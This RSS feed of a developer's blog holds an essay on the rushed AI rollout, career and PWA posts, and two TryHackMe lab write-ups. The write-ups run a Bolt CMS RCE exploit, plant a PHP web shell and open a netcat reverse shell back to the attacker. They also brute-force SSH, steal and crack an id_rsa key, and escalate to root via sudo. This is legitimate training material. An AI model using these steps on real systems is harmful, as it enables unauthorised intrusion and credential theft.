<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Stefan Dorresteijn</title>
    <description>The latest articles on Forem by Stefan Dorresteijn (@stefandorresteijn).</description>
    <link>https://forem.com/stefandorresteijn</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F27730%2Fdbaf7f36-74b0-4679-b297-4fd2b985e8f3.jpg</url>
      <title>Forem: Stefan Dorresteijn</title>
      <link>https://forem.com/stefandorresteijn</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/stefandorresteijn"/>
    <language>en</language>
    <item>
      <title>AI's false start</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Tue, 25 Nov 2025 22:36:01 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/ais-false-start-298o</link>
      <guid>https://forem.com/stefandorresteijn/ais-false-start-298o</guid>
      <description>&lt;p&gt;I don't have to tell you that AI is everywhere. Odds are you're reading this post from a device which has an operating system that has some form of AI integration. If you're on Windows, you've got Microsoft Copilot. If you're on an Apple device, you've got Apple Intelligence - whatever that means right now - and if you're on Android, you probably have Gemini floating around somewhere. But doesn't it feel... underwhelming?&lt;/p&gt;

&lt;p&gt;It's all the rage for otherwise stale-feeling multi-billion dollar corporations to implement AI wherever they feel it may make money. Sadly, it's causing more harm than good at the moment. We've seen prices for computer hardware skyrocket, vibe coded apps make some truly horrific mistakes, and false information become increasingly hard to dodge. Let's not even talk about the environmental impact all of this is having. Years of innovations in clean energy and power-use reduction have been for naught as these AI server farms use electricity as if it's infinitely available. In short, we're blinded by AI assistance while these corporations race on as if they're about to achieve something miraculous.&lt;/p&gt;

&lt;p&gt;Now don't misunderstand me; I'm no AI doomer. I truly believe that AI will some day help us answer some of human kind's most important questions. We will have major scientific breakthroughs directly realized by, or at least assisted by some form of AI as we have already seen with Alphafold. The problem is... this race for the major adoption of AI tools feels early. In fact, it feels like a false start for what should otherwise be a technical marathon unlike any other we've seen so far.&lt;/p&gt;

&lt;p&gt;Let's not be naive. The corporations currently building massive AI farms, investing trillions in GPUs and electrical grids aren't building it so our lives can improve. They're building it either in the hope of building AI that can replace workers - increasing the wage gap - or so they may become the &lt;strong&gt;first&lt;/strong&gt; to invent "Artificial General Intelligence" - a type of intelligence that closely matches a human's in various forms - which will simply be used to achieve the exact same thing. Yes, this investment will help AI develop beyond what it can do right now, but any help it brings to regular people will pale in comparison to the damage it will do to the societies that supplied these companies with their time, their effort, their money, and now their art. We find ourselves looking out over a wasteland of AI server farms, built by corporate greed.&lt;/p&gt;

&lt;p&gt;To me it feels like the introduction of AI into our daily lives came early, before it was efficient and scaleable enough for it to make sense on a financial, but more importantly, human level. And now we're just stuck with it as we hope it develops enough for it to become actually useful at some point.&lt;/p&gt;

&lt;p&gt;I'm not an AI researcher. I can't tell you whether throwing everything we have at scaling AI is what is required for AI to develop into more than it is today. I don't pretend to know what the future will bring but I can look at where we are today, and I can say that maybe it's less important that we have AI-assisted search in Google, or that you can save 10 minutes by asking ChatGPT how to bake a cake instead of finding a recipe, than it is that we're systematically destroying much of what has allowed technology to make living in this day and age so great.&lt;/p&gt;

&lt;p&gt;TL;DR: ChatGPT, summarize this article please.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
    </item>
    <item>
      <title>[TryHackMe.com] Erit Securus I writeup</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Mon, 01 Jun 2020 15:44:42 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/tryhackme-com-erit-securus-i-writeup-2g89</link>
      <guid>https://forem.com/stefandorresteijn/tryhackme-com-erit-securus-i-writeup-2g89</guid>
      <description>&lt;p&gt;This writeup is the second in my TryHackME writeup series. I've carefully been dipping my toes into pentesting lately and love to keep notes so I figured I'd write them out.&lt;/p&gt;

&lt;p&gt;This is a writeup for &lt;a href="https://tryhackme.com/room/eritsecurusi"&gt;Erit Securus I&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;nb: I'm going to assume you're running Kali Linux and you're working from an empty folder you made for this room.&lt;/p&gt;

&lt;h1&gt;
  
  
  Task 2
&lt;/h1&gt;

&lt;p&gt;Per usual, we're going to start by running our nmap scan on the box to figure out which ports are open, what is running on those ports and which versions of those apps are running. We'll save all those results in a file. This gives us the answers to all of task #2.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;scans
nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; scans/nmap &amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Task 3 - 5
&lt;/h1&gt;

&lt;p&gt;Let's take a look at the app we're going to be exploiting by opening the page in our browser. It looks like your average CMS. When we check the browser, we can see exactly which CMS it's running. From a quick google search we learn that the login page for this CMS lives under &lt;code&gt;/bolt/login&lt;/code&gt;. We could brute force the login details for a user but that's not really what this room is for. Just guess a couple username/password combinations that would work for a very badly secured admin panel and I'm sure you'll get the right info.&lt;/p&gt;

&lt;p&gt;We download the exploit from task #4 by running &lt;code&gt;git clone https://github.com/r3m0t3nu11/Boltcms-Auth-rce-py&lt;/code&gt; in our project folder.&lt;/p&gt;

&lt;p&gt;We'll open the exploit folder in our terminal by running &lt;code&gt;cd Boltcms-Auth-rce-py&lt;/code&gt; and then we install the requirements with pip by running &lt;code&gt;pip3 install -r requirements.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We're now ready to run the exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py http://&amp;lt;IP&amp;gt; username password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After a while, the exploit allows us to start performing commands on the server. The room instructions tell you to put some PHP code into a file but I prefer to do this slightly differently. For stability, we're going to upload a shell to the server. I like to use the &lt;a href="https://github.com/flozz/p0wny-shell"&gt;p0wny shell&lt;/a&gt; but you're free to use whatever feels good.&lt;/p&gt;

&lt;p&gt;Let's download the php file and put it in our project folder. Then setup a python server using SimpleHTTPServer in a separate terminal window or tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-m&lt;/span&gt; SimpleHTTPServer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, in the exploit window, we're going to wget our shell.php file from our python server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &lt;span class="s2"&gt;"http://&amp;lt;OUR IP&amp;gt;:8000/shell.php"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we visit the shell file in the &lt;code&gt;/files/&lt;/code&gt; folder on the web app, we get a more stable shell that allows us to perform more commands. From here, we're going to download &lt;code&gt;netcat&lt;/code&gt; so we get a good reverse shell going. Let's make netcat available on our http server by copying it to our project folder. Run the following command in your project folder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;which nc&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then download it from the php shell and make it executable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &lt;span class="s2"&gt;"http://&amp;lt;OUR IP&amp;gt;:8000/nc"&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x ./nc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now setup a listener on our own box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And run netcat from the shell file by sending the shell command to our own IP, then upgrade the shell so it's a beautiful bash shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-e&lt;/span&gt; /bin/sh &amp;lt;OUR IP&amp;gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Congratulations, you now have a reverse shell on this server! Make sure to upgrade it once you have it, using python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty;pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Task 6 - 9
&lt;/h1&gt;

&lt;p&gt;Task 6 is pretty straightforward if you do exactly what the room tells you to do. You can't go wrong.&lt;/p&gt;

&lt;p&gt;For task 7 we're going to run &lt;code&gt;sudo -l&lt;/code&gt; once we're connected to the local box using ssh. This shows us the answer to the question in task 7 and gives us valuable information on how we could possibly escalate our privileges. The format for the answer to task 7 shows us that we can execute &lt;code&gt;/usr/bin/zip&lt;/code&gt; as the &lt;code&gt;jsmith&lt;/code&gt; user. When we visit &lt;a href="https://gtfobins.github.io/gtfobins/zip/"&gt;the gtfobin page for this file&lt;/a&gt; we see that we're going to be able to escalate our privileges to the &lt;code&gt;jsmith&lt;/code&gt; user by running these commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; sjmith zip &lt;span class="nv"&gt;$TF&lt;/span&gt; /etc/hosts &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-TT&lt;/span&gt; &lt;span class="s1"&gt;'sh #'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the &lt;code&gt;jsmith&lt;/code&gt; user, we run the same python command to upgrade our shell and then we take another look at what we're able to do using sudo by running &lt;code&gt;sudo -l&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;It seems we can do literally anything we want as sudo, all without using a password so just run &lt;code&gt;sudo su&lt;/code&gt; to escalate to root, and now you're free to do anything you want on this server.&lt;/p&gt;

&lt;p&gt;Congratulations for finishing Erit Securus I!&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>bash</category>
    </item>
    <item>
      <title>[TryHackMe.com] Basic Pentesting Writeup</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Fri, 29 May 2020 15:37:00 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/tryhackme-com-basic-pentesting-writeup-2593</link>
      <guid>https://forem.com/stefandorresteijn/tryhackme-com-basic-pentesting-writeup-2593</guid>
      <description>&lt;p&gt;This writeup is the first in my TryHackME writeup series. I've carefully been dipping my toes into pentesting lately and love to keep notes so I figured I'd write them out.&lt;/p&gt;

&lt;p&gt;This is a writeup for &lt;a href="https://tryhackme.com/room/basicpentestingjt"&gt;Basic Pentesting&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;nb:&lt;/em&gt; I'm going to assume you're running Kali Linux and you're working from an empty folder you made for this room.&lt;/p&gt;

&lt;h2&gt;
  
  
  Basic Pentesting
&lt;/h2&gt;

&lt;p&gt;Let's take a look at this room. We're going to deploy the server and connect using OpenVPN. For more info on how to do that, visit &lt;a href="https://tryhackme.com/room/openvpn"&gt;the OpenVPN room&lt;/a&gt;. We'll skill all questions that don't need an answer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Nmap setup
&lt;/h3&gt;

&lt;p&gt;In order to figure out which services are running on the server we've been given, we're going to run &lt;a href="https://tryhackme.com/room/rpnmap"&gt;nmap&lt;/a&gt;. It's going to be useful to scan with our default safe scripts, so our command will look a little like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &amp;lt;ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We might need this information later, so let's make sure we save it somewhere. I like to put all my scans in a single directory in my work folder, so let's &lt;code&gt;mkdir scans&lt;/code&gt; and then output our nmap scan to a file in that folder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; scans/nmap &amp;lt;ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Gobuster setup
&lt;/h3&gt;

&lt;p&gt;Visiting the IP we've been given in our browser, we can see that it's running an Apache server, so it's going to be worth looking around to see which folders live on this server. It just so happens we'll need that information for question #3 as well. To find hidden folders, we're going to be running &lt;code&gt;gobuster&lt;/code&gt;. A simple &lt;code&gt;dir&lt;/code&gt; scan with &lt;code&gt;gobuster&lt;/code&gt; should be enough to get the information we need to get going. We're going to be using the &lt;code&gt;2.3-medium&lt;/code&gt; wordlist from &lt;code&gt;dirbuster&lt;/code&gt; for this, which should already be on your Kali install.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;ip&amp;gt;/ &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-o&lt;/span&gt; scans/gobuster
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Question 3
&lt;/h3&gt;

&lt;p&gt;If we let our &lt;code&gt;gobuster&lt;/code&gt; run for a while, we'll find our hidden directory. Let's fill that in and take a look in the folder. There are two files there. One of them mentions that a user referred to as "J" has a weak password. Let's make sure we remember that! Let's save both of these files for later reference.&lt;/p&gt;

&lt;h3&gt;
  
  
  Questions 4 &amp;amp; 5
&lt;/h3&gt;

&lt;p&gt;We're told to brute force for a username and password. I don't like brute forcing for usernames, it feels inefficient. Of course we already know we have two people who use this server, so we could just guess names. That too is inefficient, so let's do a little more digging.&lt;/p&gt;

&lt;p&gt;If we open our &lt;code&gt;nmap&lt;/code&gt; scan, we can see that &lt;code&gt;Samba&lt;/code&gt; is running on this server. Let's go see if we can connect to the &lt;code&gt;Samba&lt;/code&gt; server as an anonymous user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbclient //&amp;lt;IP&amp;gt;/anonymous
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sure enough, we're connected! Now we just need to find out what's in this folder, if anything. When run a quick &lt;code&gt;ls&lt;/code&gt;, we can see that there's a &lt;code&gt;staff.txt&lt;/code&gt; file. Let's &lt;code&gt;get staff.txt&lt;/code&gt; and see what's in it!&lt;/p&gt;

&lt;p&gt;Exiting the &lt;code&gt;smb&lt;/code&gt; connection, we can take a look at the &lt;code&gt;staff.txt&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Great, we now know that the two users we are going to try to hack are called &lt;code&gt;Jan&lt;/code&gt; and &lt;code&gt;Kay&lt;/code&gt;. If we think back to what we found in that hidden directory, we can assume that &lt;code&gt;Jan&lt;/code&gt; has a weak password. Let's see if he is in fact the user we're looking for in question 5 and start cracking his password.&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 6 &amp;amp; 7
&lt;/h3&gt;

&lt;p&gt;Cracking this weak password is going to easy. We'll be using &lt;code&gt;hydra&lt;/code&gt; to do all the work for us, and we'll use the &lt;code&gt;rockyou.txt&lt;/code&gt; wordlist. There is &lt;a href="https://tryhackme.com/room/hydra"&gt;an entire room to learn about hydra&lt;/a&gt; so we'll skip teaching you that and just run the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; jan &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt &amp;lt;IP&amp;gt; ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This might take a couple minutes, so sit back and let &lt;code&gt;hydra&lt;/code&gt; do the work for you. After a while, &lt;code&gt;hydra&lt;/code&gt; will come back with a password we can use to connect to the server with SSH.&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 8
&lt;/h3&gt;

&lt;p&gt;Once connected, we'll want to escalate our privileges on this server so we can access anything we want to. We kind of already know who the other user of this server is, but let's check the &lt;code&gt;/etc/passwd&lt;/code&gt; file to make sure!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Among the users listed there, we'll find the answer to question 9. Let's see if we can escalate our privileges to get access to that user. &lt;/p&gt;

&lt;h3&gt;
  
  
  Questions 10 &amp;amp; 11
&lt;/h3&gt;

&lt;p&gt;I tend to use &lt;code&gt;linpeas&lt;/code&gt; to look for ways to escalate my privileges on a server, so we're going to do the same. Not because it's necessary on this server, but because it's really useful to learn how to do.&lt;/p&gt;

&lt;p&gt;First, we're going to want to be in the &lt;code&gt;/var/tmp&lt;/code&gt; folder, where we have write access so run &lt;code&gt;cd /var/tmp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then we'll need to somehow download the &lt;code&gt;linpeas.sh&lt;/code&gt; file onto the server. Make sure you download a copy to your own computer first from &lt;a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS"&gt;The Github repo&lt;/a&gt; and put it in your project folder. From there, we'll setup a simple HTTP server with Python. Simply run &lt;code&gt;python -m SimpleHTTPServer&lt;/code&gt; in your project directory and you'll have a webserver running on &lt;code&gt;port 8000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;From the server, we're going to now download the &lt;code&gt;linpeas.sh&lt;/code&gt; file and run it to find possible privilege escalation methods that will work on this server. So let's run &lt;code&gt;wget http://&amp;lt;YOUR OWN IP&amp;gt;:8000/linpeas.sh&lt;/code&gt; which downloads the file, and then &lt;code&gt;chmod +x linpeas.sh&lt;/code&gt; to make the file executable. Now run &lt;code&gt;./linpeas.sh&lt;/code&gt; and see what it comes up with.&lt;/p&gt;

&lt;p&gt;Looking through the &lt;code&gt;linpeas&lt;/code&gt; results, we can see that the other user has an &lt;code&gt;.ssh&lt;/code&gt; folder with an &lt;code&gt;id_rsa&lt;/code&gt; key in there. We might be able to use that so let's make sure we grab that file and put it on our own computer. We'll just &lt;code&gt;cat /home/&amp;lt;other_user&amp;gt;/.ssh/id_rsa&lt;/code&gt;, copy all of that and put it in an &lt;code&gt;id_rsa&lt;/code&gt; file in our project directory. Because we want to be able to use it to connect to a server, we need to set the proper rights for that file. So run &lt;code&gt;chmod 600 id_rsa&lt;/code&gt; and then try to connect to the server using&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa &amp;lt;other_user&amp;gt;@&amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Oh. A passphrase. We have yet to find that, but that's okay. Maybe we can just crack the &lt;code&gt;id_rsa&lt;/code&gt; file to find the &lt;code&gt;passphrase&lt;/code&gt;. Let's use &lt;code&gt;John the Ripper&lt;/code&gt; for this. First, we need to turn this &lt;code&gt;id_rsa&lt;/code&gt; file into something &lt;code&gt;John&lt;/code&gt; can crack. Let's run &lt;code&gt;/usr/share/john/ssh2john.py id_rsa crack&lt;/code&gt; to put the crack-able information in the &lt;code&gt;crack&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;From there, we're going to crack this file with &lt;code&gt;John the Ripper&lt;/code&gt;, using the &lt;code&gt;rockyou.txt&lt;/code&gt; wordlist again. I won't go into the specifics for &lt;code&gt;John the Ripper&lt;/code&gt; as there are plenty resources out there for that. Here's the command we're going to run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john crack &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This almost instantly comes back with our passphrase, which we can now use to connect to our server. We run our ssh command again, and now we fill in the passphrase we got from &lt;code&gt;John&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa &amp;lt;other_user&amp;gt;@&amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're in! When we take a look at the files in our home folder, we see that there's a file called &lt;code&gt;pass.bak&lt;/code&gt;. That's convenient! Let's open it using &lt;code&gt;cat&lt;/code&gt; and fill in the answer to question 11!&lt;/p&gt;

&lt;h3&gt;
  
  
  Bonus
&lt;/h3&gt;

&lt;p&gt;As a little bonus, we can check what kind of access we have. Maybe we just want to be &lt;code&gt;root&lt;/code&gt; at this point. Running &lt;code&gt;sudo -l&lt;/code&gt; shows us we have access to all commands as root. Well that's easy, let's make ourselves root then!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There we go. Now we're &lt;code&gt;root&lt;/code&gt;. There's a little surprise waiting for you in &lt;code&gt;/root/root.txt&lt;/code&gt; so go check that out!&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>bash</category>
    </item>
    <item>
      <title>Looking for Podcasters</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Mon, 21 Oct 2019 12:14:07 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/looking-for-podcasters-3ic3</link>
      <guid>https://forem.com/stefandorresteijn/looking-for-podcasters-3ic3</guid>
      <description>&lt;p&gt;Hey everyone!&lt;/p&gt;

&lt;p&gt;I'm working on a great new project that will benefit podcasters, helping them advertise their podcast much more easily to their own followers and their friends.&lt;/p&gt;

&lt;p&gt;To make my project as good as it can possibly be, I need to work closely with active podcasters, who are willing to test and suggest functionality. &lt;/p&gt;

&lt;p&gt;If you're a podcaster or you know a podcaster who wants to help create a product that will help people like them, please send me a message!&lt;/p&gt;

&lt;p&gt;Thanks!&lt;/p&gt;

</description>
      <category>podcast</category>
    </item>
    <item>
      <title>The Worst Developer</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Wed, 07 Aug 2019 16:27:32 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/the-worst-developer-4a2i</link>
      <guid>https://forem.com/stefandorresteijn/the-worst-developer-4a2i</guid>
      <description>&lt;p&gt;When I was getting started in Web Development, I was told it was good to be the most precise and detail-oriented you can possibly be. I worked with people who had much more technical knowledge of what goes on &lt;em&gt;behind the scenes&lt;/em&gt; and I felt very confused. Not only was I not able to understand how everything worked, I also didn't feel a strong need to learn a good 80% of it. I wanted to build stuff, I didn't care whether the Fibonacci sequence was useful for authorization systems or that writing your own code was often much more efficient than using a library. I just wanted to make the things that excited me and I wanted to do it quickly, so I became a product developer.&lt;/p&gt;

&lt;p&gt;I define a "Product Developer" as a developer who has a product-first mindset. Someone who prefers to focus on writing real functionality, as efficiently as possible. This doesn't mean that code quality and code efficiency aren't important; on the contrary, they become much more important. There's nothing that will slow you down as much as writing buggy code. However, a product developer won't spend hours or days trying to optimize a piece of code when a user won't actively notice the difference. They believe that they can write 80% of a product's functionality in 20% of the time.&lt;/p&gt;

&lt;p&gt;Since I made the decision to focus on what I enjoyed, I found a real market for what I do. There are many small businesses and entrepreneurs who want to build a product or test an idea and just want it done as efficiently as possible. I learned many languages and tools, so I could apply the right one for the job. I'm not the best developer I know, I'm not even the best Ruby or Elixir developer I know, but I'm proficient at a whole set of language and tools that make it possible for me to build anything, and do so efficiently.&lt;/p&gt;

&lt;p&gt;I've come a long way since I started all those years ago but the part of me that's generally disinterested in deep technical details still exists. However, instead of that making me feel insecure and worried that I'll never become a &lt;a href="https://twitter.com/skirani/status/1149302828420067328"&gt;10x developer&lt;/a&gt;, it gives me great confidence and clarity on who I am as a person and a developer. I guess what I want to say with this article is that it's fine not to be interested in optimizing the last little details of your code. It's fine to want to build MVPs all day. It doesn't make you a worse developer, it just means you're going to be working with/for a different market, and that's cool!&lt;/p&gt;

</description>
      <category>career</category>
      <category>beginners</category>
      <category>management</category>
    </item>
    <item>
      <title>What's next for PWAs?</title>
      <dc:creator>Stefan Dorresteijn</dc:creator>
      <pubDate>Sat, 13 Jul 2019 14:56:55 +0000</pubDate>
      <link>https://forem.com/stefandorresteijn/what-s-next-for-pwas-942</link>
      <guid>https://forem.com/stefandorresteijn/what-s-next-for-pwas-942</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/stefandorresteijn/pwas-are-our-future-5591"&gt;Progressive Web Applications have become all the rage&lt;/a&gt;; with companies like Instagram, Twitter, Forbes and Alibaba investing real effort into making their mobile sites feel like native apps. Yet, there are plenty reasons not to make your next mobile app a Progressive Web App instead. The &lt;em&gt;add to homescreen&lt;/em&gt; user experience doesn't feel smooth enough, and we can't ignore the snail-like speed at which Apple is implementing PWA features into Safari. So where do we go? What's next for Progressive Web Applications? Allow me to speculate.&lt;/p&gt;

&lt;h2&gt;
  
  
  All Native Functionality
&lt;/h2&gt;

&lt;p&gt;The biggest problem with PWAs currently is the lack of native functionality they support on iOS. Push notifications and full sensor information are just two of the major pieces of functionality still missing from Safari on iOS but the list they top is still a long one. We've seen Google massively improve their support, with Chrome on Android now allowing for nearly all native functionality you could wish for. So Apple building full support for native functionality into Safari on iOS seems to be the obvious next step, but with them not mentioning PWAs at all during WWDC, one starts to wonder if they're even interested in truly entering the PWA market. &lt;/p&gt;

&lt;p&gt;There are plenty reasons why Apple &lt;em&gt;wouldn't&lt;/em&gt; improve their PWA support. Web applications don't pay Apple the 30% "App Store Tax" they get from native apps, they don't give Apple install or usage data and they don't increase the amount of apps on the App Store either. However, with developer interest increasing, and Apple actually having made large strides on their PWA support, it seems to be going the way of the Web Developer. I believe they'll add push notifications by the end of this year, with proper sensor information availability possibly being added in 2020. Google doesn't have much more to improve as far as native support goes, so it's safe to assume they're continue on the path of improving the life of the PWA developer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Store Discovery
&lt;/h2&gt;

&lt;p&gt;A second issue with Progressive Web Applications is that you can't find them in the App Store or Play Store as natively installable apps.&lt;/p&gt;

